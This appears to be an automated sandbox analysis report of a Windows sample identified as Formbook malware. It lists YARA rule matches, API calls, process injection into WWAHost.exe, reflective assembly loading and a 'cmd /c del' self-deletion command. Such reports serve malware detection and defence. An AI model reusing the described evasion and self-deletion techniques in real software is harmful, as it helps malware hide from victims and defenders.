Source: 6.0.7TupDHKAwm.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.7TupDHKAwm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.7TupDHKAwm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.7TupDHKAwm.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.7TupDHKAwm.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.7TupDHKAwm.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.7TupDHKAwm.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.7TupDHKAwm.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.7TupDHKAwm.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.7TupDHKAwm.exe.353e9a0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.7TupDHKAwm.exe.353e9a0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 0_2_00ABC154	0_2_00ABC154
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 0_2_00ABE588	0_2_00ABE588
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 0_2_00ABE598	0_2_00ABE598
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 0_2_071E62B8	0_2_071E62B8
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 0_2_071E0039	0_2_071E0039
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 0_2_071E0040	0_2_071E0040
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_00401030	6_2_00401030
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041E423	6_2_0041E423
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041E507	6_2_0041E507
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_00402D90	6_2_00402D90
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041D5A6	6_2_0041D5A6
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041E5B3	6_2_0041E5B3
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041DE46	6_2_0041DE46
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_00409E60	6_2_00409E60
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041DFA2	6_2_0041DFA2
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_00402FB0	6_2_00402FB0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0DBD2	11_2_03D0DBD2
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D003DA	11_2_03D003DA
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C7EBB0	11_2_03C7EBB0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6AB40	11_2_03C6AB40
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D12B28	11_2_03D12B28
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D122AE	11_2_03D122AE
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03CFFA2B	11_2_03CFFA2B
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C4F900	11_2_03C4F900
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C64120	11_2_03C64120
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D128EC	11_2_03D128EC
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5B090	11_2_03C5B090
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C720A0	11_2_03C720A0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D120A8	11_2_03D120A8
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D01002	11_2_03D01002
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D1E824	11_2_03D1E824
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C6A830	11_2_03C6A830
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D1DFCE	11_2_03D1DFCE
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D11FF1	11_2_03D11FF1
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D12EF7	11_2_03D12EF7
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0D616	11_2_03D0D616
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C66E30	11_2_03C66E30
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D125DD	11_2_03D125DD
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5D5E0	11_2_03C5D5E0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C72581	11_2_03C72581
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D11D55	11_2_03D11D55
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D12D07	11_2_03D12D07
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C40D20	11_2_03C40D20
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03D0D466	11_2_03D0D466
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C5841F	11_2_03C5841F
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2D5A6	11_2_00A2D5A6
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2E5B3	11_2_00A2E5B3
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A12D90	11_2_00A12D90
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A19E60	11_2_00A19E60
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2DE46	11_2_00A2DE46
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2DFA2	11_2_00A2DFA2
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A12FB0	11_2_00A12FB0

Source: C:\Windows\SysWOW64\WWAHost.exe

Code function: String function: 03C4B150 appears 54 times

Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041A360 NtCreateFile,	6_2_0041A360
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041A410 NtReadFile,	6_2_0041A410
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041A490 NtClose,	6_2_0041A490
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041A540 NtAllocateVirtualMemory,	6_2_0041A540
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041A35A NtCreateFile,	6_2_0041A35A
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041A40A NtReadFile,	6_2_0041A40A
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Code function: 6_2_0041A48A NtClose,	6_2_0041A48A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89A50 NtCreateFile,LdrInitializeThunk,	11_2_03C89A50
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C899A0 NtCreateSection,LdrInitializeThunk,	11_2_03C899A0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89910 NtAdjustPrivilegesToken,LdrInitializeThunk,	11_2_03C89910
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89840 NtDelayExecution,LdrInitializeThunk,	11_2_03C89840
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89860 NtQuerySystemInformation,LdrInitializeThunk,	11_2_03C89860
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89FE0 NtCreateMutant,LdrInitializeThunk,	11_2_03C89FE0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89780 NtMapViewOfSection,LdrInitializeThunk,	11_2_03C89780
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89710 NtQueryInformationToken,LdrInitializeThunk,	11_2_03C89710
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C896D0 NtCreateKey,LdrInitializeThunk,	11_2_03C896D0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C896E0 NtFreeVirtualMemory,LdrInitializeThunk,	11_2_03C896E0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89650 NtQueryValueKey,LdrInitializeThunk,	11_2_03C89650
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89660 NtAllocateVirtualMemory,LdrInitializeThunk,	11_2_03C89660
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C895D0 NtClose,LdrInitializeThunk,	11_2_03C895D0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89540 NtReadFile,LdrInitializeThunk,	11_2_03C89540
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C8A3B0 NtGetContextThread,	11_2_03C8A3B0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89B00 NtSetValueKey,	11_2_03C89B00
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89A80 NtOpenDirectoryObject,	11_2_03C89A80
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89A00 NtProtectVirtualMemory,	11_2_03C89A00
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89A10 NtQuerySection,	11_2_03C89A10
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89A20 NtResumeThread,	11_2_03C89A20
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C899D0 NtCreateProcessEx,	11_2_03C899D0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89950 NtQueueApcThread,	11_2_03C89950
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C898F0 NtReadVirtualMemory,	11_2_03C898F0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C898A0 NtWriteVirtualMemory,	11_2_03C898A0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C8B040 NtSuspendThread,	11_2_03C8B040
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89820 NtEnumerateKey,	11_2_03C89820
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C897A0 NtUnmapViewOfSection,	11_2_03C897A0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89760 NtOpenProcess,	11_2_03C89760
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C8A770 NtOpenThread,	11_2_03C8A770
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89770 NtSetInformationFile,	11_2_03C89770
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C8A710 NtOpenProcessToken,	11_2_03C8A710
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89730 NtQueryVirtualMemory,	11_2_03C89730
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89670 NtQueryInformationProcess,	11_2_03C89670
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89610 NtEnumerateValueKey,	11_2_03C89610
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C895F0 NtQueryInformationFile,	11_2_03C895F0
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89560 NtWriteFile,	11_2_03C89560
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C89520 NtWaitForSingleObject,	11_2_03C89520
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_03C8AD30 NtSetContextThread,	11_2_03C8AD30
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2A360 NtCreateFile,	11_2_00A2A360
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2A490 NtClose,	11_2_00A2A490
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2A410 NtReadFile,	11_2_00A2A410
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2A540 NtAllocateVirtualMemory,	11_2_00A2A540
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2A35A NtCreateFile,	11_2_00A2A35A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2A48A NtClose,	11_2_00A2A48A
Source: C:\Windows\SysWOW64\WWAHost.exe	Code function: 11_2_00A2A40A NtReadFile,	11_2_00A2A40A

Source: 7TupDHKAwm.exe, 00000000.00000002.690187917.0000000006EA0000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameTaskNode.dll4 vs 7TupDHKAwm.exe
Source: 7TupDHKAwm.exe, 00000000.00000000.656590254.000000000015A000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameCMSFILEWRITABLETY.exe: vs 7TupDHKAwm.exe
Source: 7TupDHKAwm.exe, 00000006.00000000.681392137.0000000000EBA000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameCMSFILEWRITABLETY.exe: vs 7TupDHKAwm.exe
Source: 7TupDHKAwm.exe, 00000006.00000002.743558525.00000000035E6000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameWWAHost.exej% vs 7TupDHKAwm.exe
Source: 7TupDHKAwm.exe, 00000006.00000002.742718118.0000000001B1F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 7TupDHKAwm.exe
Source: 7TupDHKAwm.exe	Binary or memory string: OriginalFilenameCMSFILEWRITABLETY.exe: vs 7TupDHKAwm.exe

Source: 7TupDHKAwm.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 7TupDHKAwm.exe	Virustotal: Detection: 18%
Source: 7TupDHKAwm.exe	ReversingLabs: Detection: 13%

Source: 7TupDHKAwm.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\7TupDHKAwm.exe 'C:\Users\user\Desktop\7TupDHKAwm.exe'
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process created: C:\Users\user\Desktop\7TupDHKAwm.exe C:\Users\user\Desktop\7TupDHKAwm.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\WWAHost.exe C:\Windows\SysWOW64\WWAHost.exe
Source: C:\Windows\SysWOW64\WWAHost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\7TupDHKAwm.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\7TupDHKAwm.exe	Process created: C:\Users\user\Desktop\7TupDHKAwm.exe C:\Users\user\Desktop\7TupDHKAwm.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WWAHost.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\7TupDHKAwm.exe'	Jump to behavior

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7TupDHKAwm.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/1@2/1

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: 7TupDHKAwm.exe

Joe Sandbox Cloud Basic: Detection: clean Score: 0

Perma Link

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5380:120:WilError_01

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Users\user\Desktop\7TupDHKAwm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 7TupDHKAwm.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 7TupDHKAwm.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: WWAHost.pdb source: 7TupDHKAwm.exe, 00000006.00000002.743281068.0000000003530000.00000040.00020000.sdmp
Source:	Binary string: WWAHost.pdbUGP source: 7TupDHKAwm.exe, 00000006.00000002.743281068.0000000003530000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 7TupDHKAwm.exe, 00000006.00000002.742147357.0000000001870000.00000040.00000001.sdmp, WWAHost.exe, 0000000B.00000003.741705800.00000000038D0000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: 7TupDHKAwm.exe, 00000006.00000002.742147357.0000000001870000.00000040.00000001.sdmp, WWAHost.exe

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: 7TupDHKAwm.exe, MainForm.cs	.Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.7TupDHKAwm.exe.f0000.0.unpack, MainForm.cs	.Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.7TupDHKAwm.exe.e50000.3.unpack, MainForm.cs	.Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.2.7TupDHKAwm.exe.e50000.1.unpack, MainForm.cs	.Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.7TupDHKAwm.exe.e50000.0.unpack, MainForm.cs	.Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.7TupDHKAwm.exe.e50000.5.unpack, MainForm.cs	.Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.7TupDHKAwm.exe.e50000.9.unpack, MainForm.cs	.Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.7TupDHKAwm.exe.e50000.2.unpack, MainForm.cs	.Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.7TupDHKAwm.exe.e50000.1.unpack, MainForm.cs	.Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 6.0.7TupDHKAwm.exe.e50000.7.unpack, MainForm.cs	.Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

